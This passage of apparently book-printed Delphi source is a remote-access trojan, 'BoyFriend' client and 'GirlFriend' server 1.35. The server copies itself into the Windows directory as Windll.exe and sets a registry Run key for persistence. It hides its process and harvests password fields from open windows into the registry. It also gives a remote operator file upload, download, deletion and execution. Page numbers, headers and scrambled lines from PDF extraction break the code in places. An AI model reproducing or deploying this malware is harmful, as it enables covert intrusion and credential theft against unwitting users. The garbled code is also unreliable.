FSize:=strtoint(txtHid.Lines.Strings[0]); FName:=txtHid.Lines.Strings[1]; AssignFile (FlT, FName); ReWrite (FlT, 1); for i:=0 to Length(RST)-9 do buffer[i]:=ord(RST[i+7]); BlockWrite (FlT, buffer, Length(RST)-9, SC); recfile:=true; exit; end;


39

if loading then txtHid.Text:=txtHid.Text+RST; if (pos('{PLTS}',RST)>0) then begin txtHid.Lines.Clear; txtHid.text:=copy(RST,7,length(rst)-6); loading:=true; end; if (pos('{TDSS}',RST)>0) then begin txtHid.Lines.Clear; txtHid.text:=copy(RST,7,length(rst)-6); loading:=true; end; if (pos('{FSEND}', RST)>0) then begin txtHid.Lines.Clear; txtHid.text:=copy(RST,8,length(rst)-7); loading:=true; end;

if (pos('{LFTM}',RST)>0) then begin txtHid.Lines.Clear; txtHid.text:=copy(RST,7,length(rst)-6); loading:=true; end; if (not(loading)) then begin if RST='File deleted.' then begin FileDestroyed:=true; DeleteAnswer:=true; end; if RST='Delete Error.' then begin FileDestroyed:=false; DeleteAnswer:=true; end; txtLog.Lines.Add (RST); exit; end; if pos('TPL}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then begin loading:=false; PC:=0; for i:=0 to txtHid.Lines.Count-1 do if (txtHid.Lines.Strings [i]<>'') and (txtHid.Lines.Strings[i]<>'{FTPL}') and (Pos ('___', txtHid.Lines.Strings[i])<>0) then begin Inc (PC); PList [PC]:=txtHid.Lines.Strings[i]; end; gbTree.Caption:=' Password && text fields '; ProcessTree; diskmode:=false; exit; end; if pos('FDT}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then begin loading:=false; PC:=0;

40

CENTRO ATLÂNTICO – COLECÇÃO TECNOLOGIAS for i:=0 to txtHid.Lines.Count-1 do if (txtHid.Lines.Strings[i]<>'') and (txtHid.Lines.Strings[i]<>'{FFDT}') then begin Inc (PC); PList[PC]:=txtHid.Lines.Strings[i]; end; gbTree.Caption:=' File Manager '; ProcessDiskList; diskmode:=true; exit; end; if pos('ETL}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then begin loading:=false; PC:=0; for i:=0 to txtHid.Lines.Count-1 do if (txtHid.Lines.Strings[i]<>'') and (Length(txtHid.Lines.Strings[i])>8) then begin Inc (PC); PList[PC]:=txtHid.Lines.Strings[i]; if (PC+1)>LastPosition then break; end; ProcessDirectory; exit; end;

end; end; procedure TClientForm.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin if not(scanning) then stbStatus.Panels[0].Text:= 'Error connecting to: ' + CurrIP else begin ServerAnswer:=true; Connection:=false; end; ErrorCode:= 0; end; procedure TClientForm.FormClose(Sender: TObject; var Action: TCloseAction); var ipdata:iptype; i:integer; begin AssignFile (fl, 'hosts.ip'); if fileexists ('hosts.ip') then reset (fl) else rewrite (fl); seek(fl,0); for i:=0 to ip.items.Count-1 do ipdata.ip[i]:=ip.items[i]; for i:=0 to portvalue.items.Count-1 ipdata.port[i]:=strtoint(portvalue.items[i]); ipdata.pcount:=portvalue.items.count; ipdata.ipcount:=ip.items.count; write(fl,ipdata); closefile(fl); if clientsocket.Active then begin clientSocket.Socket.SendText('Quiting..'); clientsocket.close; end; end; procedure TClientForm.sbShowPassClick(Sender: TObject); begin

do


41

if (ClientSocket.Active) and (not(loading)) then clientsocket.socket.SendText ('Old me show?'); end; procedure TClientForm.sbCustomClick(Sender: TObject); var strtos:string; begin if inputquery ('Custom', 'Enter command: ', strtos) then clientsocket.socket.SendText (strtos); end; procedure TClientForm.sbExitClick(Sender: TObject); begin DestroyTrayIcon (1, ClientForm.Handle); clientsocket.Socket.SendText ('Quiting..'); if clientsocket.Active then clientsocket.close; halt(0); end; procedure TClientForm.sbAboutClick(Sender: TObject); begin AboutForm.ShowModal; end; procedure TClientForm.FormCreate(Sender: TObject); var ipdata:iptype; i:integer; begin if fileexists ('hosts.ip') then begin AssignFile (fl, 'hosts.ip'); ReSet (fl); Read(fl, ipdata); for i:=0 to ipdata.ipcount-1 do ip.items.Add (ipdata.ip[i]); for i:=0 to ipdata.pcount-1 do portvalue.items.add (inttostr(ipdata.port[i])); clientsocket.address:=ipdata.ip[ipdata.ipcount-1]; clientsocket.port:=ipdata.port[ipdata.pcount-1]; ip.text:=ipdata.ip[ipdata.ipcount-1]; portvalue.Text:=inttostr(ipdata.port[ipdata.pcount-1]); closefile (fl); end; diskmode:=false; working:=false; loading:=false; end; procedure TClientForm.sbMessageClick(Sender: TObject); begin frmMessage.ShowModal; end; procedure TClientForm.txtLogDblClick(Sender: TObject); begin txtlog.Lines.clear; end; procedure TClientForm.PortChangeClick(Sender: TObject); begin if portvalue.text<>'' then begin ClientSocket.Socket.SendText ('setport'+portvalue.Text); ClientSocket.close; Clientsocket.port:=strtoint(portvalue.text); clientsocket.open; end; end; procedure TClientForm.sbResetClick(Sender: TObject); begin if (clientsocket.active) and (not(loading)) then ('RESETALL');

clientsocket.socket.SendText

42


end; procedure TClientForm.cmdSaveClick(Sender: TObject); var i: integer; Fl: TextFILE; FS: string; function RPSP (tms: integer): string; var i: integer; begin result:=''; if tms>0 then for i:=1 to tms do result:=result+' '; end; begin if sd1.Execute then begin AssignFile (Fl, sd1.FileName); ReWrite (Fl); for i:=0 to tvApp.Items.Count-1 do begin FS:='['+inttostr(i+1)+']'+ RPSP(tvApp.Items[i].Level)+ tvApp.Items[i].Text; WriteLn (Fl, FS); end; CloseFile (Fl); end; end; procedure TClientForm.PingserverAlive1Click(Sender: TObject); begin if not(loading) then clientsocket.socket.SendText ('TEST?'); end; procedure TClientForm.mnuPlaySoundClick(Sender: TObject); var strtos: string; begin strtos:=''; if not(loading) then if inputquery ('Play sound', 'Enter full && exact path to .wav file: ', strtos) then clientsocket.socket.SendText ('{S}'+strtos); end; procedure TClientForm.mnuShowPicClick(Sender: TObject); var strtos: string; begin strtos:=''; if not(loading) then if inputquery ('Show bitmap', 'Enter full && exact path to .bmp file: ', strtos) then clientsocket.socket.SendText ('{P}'+strtos); end; procedure AnswerF12 (KC: Word); var TMS: string; begin if KC=VK_F12 then begin ClientForm.mnuShow.Visible:=true; ClientForm.mnuShow.Default:=true; ClientForm.mnuDelim1.Visible:=true; TMS:='BoyFriend (client) version: 1.35'; if ClientForm.ClientSocket.Socket.Connected then TMS:=TMS+'. Connected with '+ClientForm.ClientSocket.Address; AddTrayIcon (1, TMS, ClientForm.Icon, ClientForm.Handle, WM_NOTIFYMSG); ClientForm.Hide;

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA end; end; procedure TClientForm.NotifyIcon (var TM: TMessage); var AC: LongInt; CP: TPoint; begin AC:=TM.LParam; if AC=WM_LBUTTONDBLCLK then begin ClientForm.mnuShow.Visible:=false; ClientForm.mnuShow.Default:=false; ClientForm.mnuDelim1.Visible:=false; ClientForm.Show; DestroyTrayIcon (1, ClientForm.Handle); end; if AC=WM_RBUTTONDOWN then begin GetCursorPos (CP); pmActions.Popup (CP.X, CP.Y); end; end; procedure TClientForm.txtLogKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin AnswerF12 (Key); end; procedure TClientForm.tvAppKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin AnswerF12 (Key); end; procedure TClientForm.portvalue1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin AnswerF12 (Key); end; procedure TClientForm.IP1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin AnswerF12 (Key); end; procedure TClientForm.PortChangeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin AnswerF12 (Key); end; procedure TClientForm.cmdSaveKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin AnswerF12 (Key); end; procedure TClientForm.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin AnswerF12 (Key); end; procedure TClientForm.mnuShowClick(Sender: TObject); begin

43

44


ClientForm.mnuShow.Visible:=false; ClientForm.mnuShow.Default:=false; ClientForm.mnuDelim1.Visible:=false; ClientForm.Show; DestroyTrayIcon (1, ClientForm.Handle); end; procedure TClientForm.mnuURLClick(Sender: TObject); var strtos: string; begin strtos:=''; if not(loading) then if inputquery ('Go to URL', 'Enter URL (with clientsocket.socket.SendText ('{U}'+strtos); end;

http://).

',

strtos)

then

procedure TClientForm.tvAppExpanding(Sender: TObject; Node: TTreeNode; var AllowExpansion: Boolean); begin AllowExpansion:=(Node.getFirstChild.ImageIndex<>-1); if not(AllowExpansion) then begin tvApp.Selected:=Node; tvAppDblClick (Sender); end else if Node.ImageIndex=CLOSED_ICON then begin Node.ImageIndex:=OPEN_ICON; Node.SelectedIndex:=OPEN_ICON; end; end; procedure TClientForm.tvAppCollapsing(Sender: TObject; Node: TTreeNode; var AllowCollapse: Boolean); begin if Node.ImageIndex=OPEN_ICON then begin Node.ImageIndex:=CLOSED_ICON; Node.SelectedIndex:=CLOSED_ICON; end; end; procedure TClientForm.sbFileManagerClick(Sender: TObject); begin if (ClientSocket.Active) and (not(loading)) then clientsocket.socket.SendText ('getbaselist'); end; procedure TClientForm.tvAppDblClick(Sender: TObject); var Start: TTreeNode; Path: string; begin if (diskmode) then begin if (tvApp.Selected.Data=nil) and (tvApp.Selected.ImageIndex in [CLOSED_ICON, OPEN_ICON, HDD_ICON, CDROM_ICON]) then begin FolderNode:=tvApp.Selected; Start:=tvApp.Selected; tvApp.Selected.Data:=@loading; Path:=Start.Text+'\'; if Start.Level>0 then


45

repeat Start:=Start.Parent; Path:=Start.Text+'\'+Path; until Start.Level=0; if ClientSocket.Active then ClientSocket.Socket.SendText ('diskget'+Path); end; if (tvApp.Selected.ImageIndex in [BMP_FILE, WAV_FILE, EXE_FILE]) then begin Start:=tvApp.Selected; Path:=TrimPRT (Start.Text); if Start.Level>0 then repeat Start:=Start.Parent; Path:=Start.Text+'\'+Path; until Start.Level=0; case tvApp.Selected.ImageIndex of BMP_FILE: Path:='{P}'+Path; WAV_FILE: Path:='{S}'+Path; EXE_FILE: Path:='{U}'+Path; end; if not(loading) then clientsocket.socket.SendText (Path); end; end; end; procedure TClientForm.tvAppRatoDown(Sender: TObject; Button: TRatoButton; Shift: TShiftState; X, Y: Integer); var CP: TPoint; begin if (Button=mbRight) and (diskmode) then begin GetCursorPos (CP); pmFile.Popup (CP.X, CP.Y); end; end; procedure TClientForm.pmFilePopup(Sender: TObject); begin mnu Download .Enabled:=(tvApp.Selected.ImageIndex .Enabled:=(tvApp.Selected.ImageIndex in [BMP_FILE, WAV_FILE, EXE_FILE, USUAL_FILE]); mnuDelete.Enabled:=mnu Download .Enabled; .Enabled; mnuDelim.Visible:=false; mnuRun.Visible:=false; if (tvApp.Selected.ImageIndex in [BMP_FILE, WAV_FILE, EXE_FILE]) then begin mnuDelim.Visible:=true; mnuRun.Visible:=true; mnuRun.Default:=true; mnuRun.ImageIndex:=tvApp.Selected.ImageIndex; case tvApp.Selected.ImageIndex of BMP_FILE: mnuRun.Caption:='Show'; WAV_FILE: mnuRun.Caption:='Play'; EXE_FILE: mnuRun.Caption:='Run'; end; end; mnuDelete.Enabled:=not (tvApp.Selected.ImageIndex in [HDD_ICON, CDROM_ICON]); end; procedure TClientForm.mnuDeleteClick(Sender: TObject); var Start, TrueChild: TTreeNode; Path: string; begin

46

CENTRO ATLÂNTICO – COLECÇÃO TECNOLOGIAS Start:=tvApp.Selected; TrueChild:=tvApp.Selected; Path:=TrimPRT (Start.Text); if Start.Level>0 then repeat Start:=Start.Parent; Path:=Start.Text+'\'+Path; until Start.Level=0;

if MessageDlg ('Really delete '+DupAmps(Path)+' mbNo], 0)= mrYes then if ClientSocket.Active then ClientSocket.Socket.SendText ('delfile'+Path); DeleteAnswer:=false; FileDestroyed:=false; repeat Application.ProcessMessages; until DeleteAnswer; if FileDestroyed then TrueChild.Delete; end;

?',

mtConfirmation,

[mbYes,

procedure TClientForm.mnuRunClick(Sender: TObject); begin tvAppDblClick (Sender); end; procedure TClientForm.mnuDownload Click(Sender: Click(Sender: TObject); var Start: TTreeNode; Path: string; begin Start:=tvApp.Selected; Path:=TrimPRT (Start.Text); if Start.Level>0 then repeat Start:=Start.Parent; Path:=Start.Text+'\'+Path; until Start.Level=0; if MessageDlg ('Download '+DupAmps(Path)+' ?', mtConfirmation, [mbYes, mbNo], 0)= mrYes then if ClientSocket.Active then ClientSocket.Socket.SendText ('getfile'+Path); end; procedure TClientForm.mnuUploadClick(Sender: TObject); var Fl: FILE; Query: string; i, BSent: integer; Folder: TTreeNode; RemotePath: string; begin if od1.Execute then begin Folder:=tvApp.Selected; if Folder.ImageIndex in [EXE_FILE, BMP_FILE, WAV_FILE, USUAL_FILE] then Folder:=Folder.Parent; FolderNode:=Folder; RemotePath:=Folder.Text+'\'; if Folder.Level>0 then repeat Folder:=Folder.Parent; RemotePath:=Folder.Text+'\'+RemotePath; until Folder.Level=0; FName:=od1.FileName;

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA AssignFile (Fl, FName); {$I-} ReSet (Fl, 1); {$I+} if IOResult<>0 then begin MessageDlg ('Error accessing file.', mtError, [mbOK], 0); exit; end; FSize:=FileSize(Fl); Query:=''; for i:=Length(FName) downto 1 do if FName[i]='\' then break else Query:=FName[i]+Query; Query:=Query+':::'+inttostr(FSize); if ClientSocket.Active then begin ClientSocket.Socket.SendText ('takefile'+RemotePath+Query+WrapStr); Sleep (1000); // !!!!DON'T REMOVE THIS COMMENT!!!! repeat BlockRead (Fl, buffer, 1024, BSent); if BSent>0 then ClientSocket.Socket.SendBuf (buffer, BSent); until EOF (Fl); ServerAnswer:=false; repeat Application.ProcessMessages; until ServerAnswer; if Uploaded then ClientSocket.Socket.SendText ('diskget'+RemotePath); end; CloseFile (Fl); end; end; end.

47

48


Página 186

Fonte: MessageUnit.PAS MessageUnit.PAS unit MessageUnit; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Buttons, StdCtrls, ExtCtrls; type TfrmMessage = class(TForm) sbNoIcon: TSpeedButton; Label1: TLabel; sbWarning: TSpeedButton; sbInfo: TSpeedButton; sbStop: TSpeedButton; sbQuest: TSpeedButton; rgType: TRadioGroup; txtMessage: TEdit; Label2: TLabel; Label3: TLabel; cmdSend: TButton; cmdCancel: TButton; cmdTest: TButton; Label4: TLabel; txtCaption: TEdit; procedure FormCreate(Sender: TObject); procedure sbNoIconClick(Sender: TObject); procedure sbWarningClick(Sender: TObject); procedure sbInfoClick(Sender: TObject); procedure sbStopClick(Sender: TObject); procedure sbQuestClick(Sender: TObject); procedure cmdTestClick(Sender: TObject); procedure cmdCancelClick(Sender: TObject); procedure cmdSendClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var frmMessage: TfrmMessage; implementation uses main; var CIcon: integer; IconConst: array [0..4] of integer=(0, MB_ICONEXCLAMATION, MB_ICONINFORMA TION, MB_ICONSTOP, MB_ICONQUESTION ); {$R *.DFM} procedure TfrmMessage.FormCreate(Sender: TObject); begin CIcon:=0; end; procedure TfrmMessage.sbNoIconClick(Sender: TObject); begin CIcon:=0;

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA end; procedure TfrmMessage.sbWarningClick(Sender: TObject); begin CIcon:=1; end; procedure TfrmMessage.sbInfoClick(Sender: TObject); begin CICon:=2; end; procedure TfrmMessage.sbStopClick(Sender: TObject); begin CIcon:=3; end; procedure TfrmMessage.sbQuestClick(Sender: TObject); begin CIcon:=4; end; procedure TfrmMessage.cmdTestClick(Sender: TObject); var TSum: LongInt; MCapt, MText: PChar; MT, RT: string; i: integer; begin TSum:=0; case rgType.ItemIndex of 1: TSum:=MB_ABORTRETRYIGNORE; 2: TSum:=MB_OKCANCEL; 3: TSum:=MB_RETRYCANCEL; 4: TSum:=MB_YESNO; 5: TSum:=MB_YESNOCANCEL; end; TSum:=TSum+IconConst[CIcon]; getMem (MCapt, 100); StrPCopy (MCapt, txtCaption.Text); RT:=''; MT:=txtMessage.Text; for i:=1 to Length (MT) do if MT[i]='|' then RT:=RT+chr(13)+chr(10) else RT:=RT+MT[i]; getMem (MText, 500); StrPCopy (MText, RT); MessageBox (frmMessage.Handle, MText, MCapt, TSum); freeMem (MText); freeMem (MCapt); end; procedure TfrmMessage.cmdCancelClick(Sender: TObject); begin frmMessage.Close; end; procedure TfrmMessage.cmdSendClick(Sender: TObject); var MT: string; begin MT:='{MSG}'+txtCaption.Text+ '$$$'+txtMessage.Text+ '%%%'+inttostr(rgType.ItemIndex)+inttostr(CIcon); ClientForm.ClientSocket.Socket.SendText (MT); frmMessage.Close; end; end.

49

50


Página 189

Fonte: SERVERMAIN.PAS unit ServerMain; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, Registry, ShellAPI, ExtCtrls, ShowPictureUnit; type TRegisterServiceProcess = function (dwProcessID, dwType:DWord): DWORD; stdcall; TServerForm = class(TForm) ServerSocket: TServerSocket; PTimer: TTimer; procedure ShowPicture (pName: string); procedure FormCreate(Sender: TObject); procedure ServerSocketClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure PTimerTimer(Sender: TObject); private { Private declarations } public { Public declarations } end; var ServerForm: TServerForm; function PlaySound(lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall; implementation function PlaySound; external 'winmm.dll' name 'sndPlaySoundA'; {$R *.DFM} var PList: array [1..64] of string; FlT: FILE; FName: string; FSize: integer; AppList: array [1..64] of LongInt; PC, RC, APC, RLen, AC: integer; SD: string; buffer: array [0..1040] of byte; sendfile, recfile: boolean; iores: integer; const IconConst: array [0..4] of integer=(0, MB_ICONEXCLAMATION, MB_ICONINFORMA TION, MB_ICONSTOP, MB_ICONQUESTION ); WrapStr = #13+#10; MegaByte = 1024*1024; KiloByte = 1024; function WinText (hWnd: LongInt): string; var PC: PChar; L: integer; begin L:=SendMessage (hWnd, WM_GETTEXTLENGTH, 0, 0); getmem (PC, L+1); SendMessage (hWnd, WM_GETTEXT, L+1, LongInt (PC)); result:=PC; end; function IsPassword (hWnd: LongInt): boolean; var ST: LongInt; begin ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA result:=(ST=$A0) or (ST=$E0); end; function IsTextField (hWnd: LongInt): boolean; var ST: LongInt; begin ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF; result:=(ST=$A0) or (ST=$E0) or (ST=$80) or (ST=$C0); end; // Gets all applications with pass fields procedure GetPasswordList; var i, j: integer; ohWnd, PrhWnd: LongInt; begin APC:=0; for i:=1 to 16384 do if IsWindow (i) then if IsPassword (i) then begin PrhWnd:=i; repeat ohWnd:=PrhWnd; PrhWnd:=GetParent (ohWnd); until GetParent (PrhWnd)=0; Inc (APC); AppList[APC]:=PrhWnd; end; PC:=0; for i:=1 to 16384 do if IsWindow (i) then if IsTextField (i) then begin PrhWnd:=i; repeat ohWnd:=PrhWnd; PrhWnd:=GetParent (ohWnd); until GetParent (PrhWnd)=0; for j:=1 to APC do if PrhWnd=AppList[j] then begin Inc (PC); PList[PC]:=WinText(PrhWnd)+'___'+WinText(i); break; end; { Application with passes scanning..} end; { hWnd scanning } end; { End of procedure } procedure RegistryPasswords; // adds passwords (from PList) to Registry with old Password checking var i, j: integer; found: boolean; RG: TRegistry; begin ServerForm.PTimer.Enabled:=false; RG:=TRegistry.Create; GetPasswordList; RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\General\', TRUE); if RG.ValueExists ('TCount') then RC:=RG.ReadInteger ('TCount') else RC:=0; if RC=0 then // Empty registry - don't compare, add all passes.. begin RG.WriteInteger ('TCount', PC); for i:=1 to PC do

51

52


RG.WriteString (inttostr(i), PList[i]); end else begin // Comparing RList & PList... for i:=1 to PC do // compare loop begin found:=false; for j:=1 to RC do if RG.ReadString (inttostr(j))=PList[i] then found:=true; if not(found) then begin Inc (RC); RG.WriteString (inttostr(RC), PList[i]); end; end; // end compare loop RG.WriteInteger ('TCount', RC); { for i:=1 to RC do RG.WriteString (inttostr(i), RList[i]);} end; RG.Destroy; ServerForm.PTimer.Enabled:=true; end; procedure TServerForm.FormCreate(Sender: TObject); var TM: string; i: integer; PC, OldName, NewName: PChar; RG: TRegistry; hNdl:THandle; RegisterServiceProcess: TRegisterServiceProcess; begin // // // hNdl:=LoadLibrary('KERNEL32.DLL'); RegisterServiceProcess:=GetProcAddress(hNdl, 'RegisterServiceProcess'); RegisterServiceProcess (GetCurrentProcessID, 1); FreeLibrary(hNdl); // SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); TM:=Application.ExeName; for i:=Length(TM) downto 1 do if TM[i]='\' then break; TM:=copy (TM, 1, i); getMem (PC, 100); GetWindowsDirectory (PC, 100); SD:=PC+'\'; freeMem (PC); getmem (OldName, 100); getMem (NewName, 100); StrPCopy (OldName, Application.ExeName); StrPCopy (NewName, SD+'Windll.exe'); if TM<>SD then // First launch from other directory.... begin DeleteFile (SD+'Windll.exe'); CopyFile (OldName, NewName, FALSE); RG:=TRegistry .Create; // Add data to registry RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE); RG.WriteString ('Windll.exe', SD+'Windll.exe'); RG.Destroy; StrPCopy (OldName, '"'+Application.ExeName+'"'); ShellExecute (0, 'open', NewName, OldName, 'c:\', 1); Halt (0);

Programas Programas do livro : TÉCNICAS PARA HACKERS – SOLUÇÕES PARA SEGURANÇA end else begin // Launch from WINDOWS directory RG:=TRegistry.Create; // Remove from Registry (to hide!) RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE); RG.WriteString ('Windll.exe', SD+'Windll.exe'); RG.Destroy; RG:=TRegistry.Create; RG.RootKey:=HKEY_LOCAL_MACHINE; RG.OpenKey ('SOFTWARE\Microsoft\General', TRUE); RG.CreateKey ('Settings'); RG.OpenKey ('\SOFTWARE\Microsoft\General\Settings', FALSE); if RG.ValueExists ('APPID') then ServerSocket.Port:=RG.ReadInteger ('APPID') else RG.WriteInteger ('APPID', ServerSocket.Port); DeleteFile (ParamStr(1)); RG.Destroy; ServerSocket.Active:= True; end; end; function extract (st: string; ind1, ind2: integer): string; var i: integer; begin result:=''; for i:=ind1 to ind2 do result:=result+st[i]; end; function ProcessMsg (Ms: string): string; // processing message.... // Message format: // {MSG}$$$%%%messageview (2 symbols) var MCapt, MText: PChar; MT, RT: string; MSum: LongInt; i: integer; begin MT:=extract (Ms, 6, Pos ('$$$', MS)-1); getMem (MCapt, Length(MT)+1); StrPCopy (MCapt, MT); MT:=extract (MS, Pos('$$$', MS)+3, Pos ('%%%', MS)-1); RT:=''; for i:=1 to Length (MT) do if MT[i]='|' then RT:=RT+chr(13)+chr(10) else RT:=RT+MT[i]; getMem (MText, Length(RT)+1); StrPCopy (MText, RT); RT:=extract (MS, Pos ('%%%', MS)+3, Length (MS) ); MSum:=0; case RT[1] of '1': MSum:=MB_ABORTRETRYIGNORE; '2': MSum:=MB_OKCANCEL; '3': MSum:=MB_RETRYCANCEL; '4': MSum:=MB_YESNO; '5': MSum:=MB_YESNOCANCEL; end; MSum:=MSum+IconConst [ ord (RT[2])-48 ]; MSum:=MessageBox (0, MText, MCapt, MSum+MB_SYSTEMMODAL); RT:='Unknown answer'; case MSum of IDABORT: RT:='Abort.'; IDCANCEL: RT:='Cancel.'; IDIGNORE: RT:='Ignore.'; IDNO : RT:='No.';

53

54


IDOK : RT:='Ok.'; IDRETRY: RT:='Retry.'; IDYES : RT:='Yes.'; end; result:=RT; freeMem (MText); freeMem (MCapt); end; procedure TServerForm.ShowPicture (pname: string); begin if FileExists (pname) then with frmPicture do begin imgPic.Picture.LoadFromFile (pname); imgPic.Top:=0; imgPic.Left:=0; pnPic.Left:=2; pnPic.Top:=2; pnPic.Width:=imgPic.Width+3; pnPic.Height:=imgPic.Height+3; Width:=imgPic.Width+5; Height:=imgPic.Height+5; Left:=(Screen.Width-Width) div 2; Top:=(Screen.Height-Height) div 2; Show; end; end; function TransName (FD: TSearchRec): string; var RS: char; MD: string; begin RS:='U'; if (FD.Attr and faDirectory)>0 then RS:='F'; MD:=LowerCase (copy (FD.Name, Length(FD.Name)-2, 3)); if MD='bmp' then RS:='B'; if MD='exe' then RS:='E'; if MD='wav' then RS:='W'; result:=RS+'_'+LowerCase(FD.Name){+WrapStr}; end; function LastPos (subchar: char; s: string): integer; var i: integer; begin result:=0; for i:=Length(s) downto 1 do if subchar=s[i] then begin result:=i; break; end; end; function GetFSizeStr (FN: TSearchRec): string; var FS: real; FST, DB: string; begin FS:=FN.Size; DB:=' B)'; if FS>=KiloByte then DB:=' KB)'; if FS>=MegaByte then DB:=' MB)'; if DB=' KB)' then FS:=FS / KiloByte; if DB=' MB)' then FS:=FS / MegaByte; if DB=' B)' then FST:=inttostr(round(FS)) else Str (FS:5:2, FST); FST:=Trim (FST);


55

result:=' ('+FST+DB+WrapStr; end; function CNumeric (const S: string):string; var i: integer; begin result:=''; for i:=1 to Length (S) do if S[i] in ['0','1','2','3','4','5','6','7','8','9'] then result:=result+S[i]; end; procedure TServerForm.ServerSocketClientRead(Sender: TObject; Socket: TCustomWinSocket); var gotstr:string; i, PX: integer; TM: Cardinal; RG: TRegistry; TPC: PChar; TMR, DM: string; STD: TSearchRec; FL: FILE; begin if recfile then begin repeat Application.ProcessMessages; AC:=Socket.ReceiveBuf (buffer, 1024); if AC>0 then begin RLen:=RLen+AC; BlockWrite (FlT, buffer, AC); end; until RLen>=FSize; if recfile then begin CloseFile (FlT); Socket.SendText ('Uploading complete.'); end; recfile:=false; exit; end; if not(recfile) then begin gotstr:=socket.receivetext; if (copy (gotstr, 1, 7)='getfile') and not(sendfile) then if FileExists (extract (gotstr, 8, Length(gotstr))) then begin sendfile:=true; AssignFile (Fl, extract (gotstr, 8, Length(gotstr))); ReSet (Fl, 1); Socket.SendText ('Sending file '+extract (gotstr, 8, Length(gotstr))+'; size '+inttostr(FileSize (FL))+' byte(s).'); Socket.SendText ('{FSEND}'+WrapStr); Socket.SendText (inttostr(FileSize (FL))+WrapStr); Socket.SendText (extract (gotstr, lastpos ('\', gotstr)+1, Length(gotstr))+WrapStr); Sleep (500); Socket.SendText ('{FCOMP}'+WrapStr); Sleep (1000); repeat BlockRead (Fl, buffer, 1024, iores); if iores>0 then Socket.SendBuf (buffer, iores); until EOF(Fl); CloseFile (Fl); sendfile:=false;

56

CENTRO ATLÂNTICO – COLECÇÃO TECNOLOGIAS end; if not (sendfile) then begin if copy (gotstr, 1, 8)='takefile' then begin recfile:=true; FName:=extract (gotstr, Pos (':::', gotstr)+3, Length(gotstr)); FSize:=strtoint (CNumeric (FName)); FName:=extract (gotstr, 9, Pos (':::', gotstr)-1); AssignFile (FlT, FName); ReWrite (FlT, 1); RLen:=0; Application.ProcessMessages; exit; end; if copy (gotstr, 1, 7)='delfile' then begin if DeleteFile (extract (gotstr, 8, Length(gotstr))) then Socket.SendText ('File deleted.') else Socket.SendText ('Delete Error.'); end; if gotstr='Quiting..'then begin ServerSocket.Close; ServerSocket.Active:= True; end; // Disk list transmitting if gotstr='getbaselist' then begin GetMem (TPC, 100); PX:=GetLogicalDriveStrings (100, TPC); DM:=''; for i:=-1 to PX do if (TPC+i)[1]<>#0 then DM:=DM+(TPC+i)[1]; FreeMem (TPC); TMR:=''; Socket.SendText ('{TDSS}'); for i:=1 to Length (DM) do begin TMR:=TMR+DM[i]; if (i mod 3)=0 then begin GetMem (TPC, 4); StrPCopy (TPC, TMR); PX:=GetDriveType (TPC); FreeMem (TPC); TM:=0; if PX=DRIVE_CDROM then begin TMR:='C_'+TMR+WrapStr; TM:=10; end; if PX=DRIVE_FIXED then begin TMR:='H_'+TMR+WrapStr; TM:=10; end; if TM>0 then Socket.SendText (TMR); TMR:=''; end; end; Socket.SendText ('{FFDT}'); end; // if copy (gotstr, 1, 7)='diskget' then


57

begin Socket.SendText ('{LFTM}'+WrapStr); FindFirst (extract (gotstr, 8, Length(gotstr))+'*.*', faAnyFile, STD); if ((STD.Attr and faDirectory)>0) and (STD.Name<>'.') then Socket.SendText (TransName(STD)+WrapStr); repeat PX:=FindNext (STD); if (PX=0) and ((STD.Attr and faDirectory)>0) and (STD.Name<>'..') then Socket.SendText (TransName(STD)+WrapStr); until PX<>0; FindClose (STD); FindFirst (extract (gotstr, 8, Length(gotstr))+'*.*', faArchive+faReadOnly+ faHidden+faSysFile, STD); if STD.Attr<>faDirectory then Socket.SendText (TransName(STD)+GetFSizeStr (STD)); repeat PX:=FindNext (STD); if (PX=0) and (STD.Attr<>faDirectory) then Socket.SendText (TransName(STD)+GetFSizeStr (STD)); until PX<>0; FindClose (STD); Socket.SendText ('{RETL}'); end; if gotstr='ver' then socket.sendtext('GirlFriend Server 1.35 . Port '+ inttostr(ServerSocket.Port)+chr(13)+chr(10)); if gotstr='time' then Socket.SendText ('Remote Time/Date is '+ FormatDateTime ('hh:nn.ss "-" mmmm d, yyyy, dddd', Now) ); if gotstr='TEST?' then socket.sendtext('Server OK'); if copy (gotstr, 1, 5)='{MSG}' then Socket.SendText ('User answered:'+ProcessMsg (gotstr)); if copy (gotstr, 1, 3)='{S}' then if FileExists (extract (gotstr, 4, Length (gotstr))) then begin GetMem (TPC, Length (gotstr)-2); // Length without '{S}' header and +1 for #0 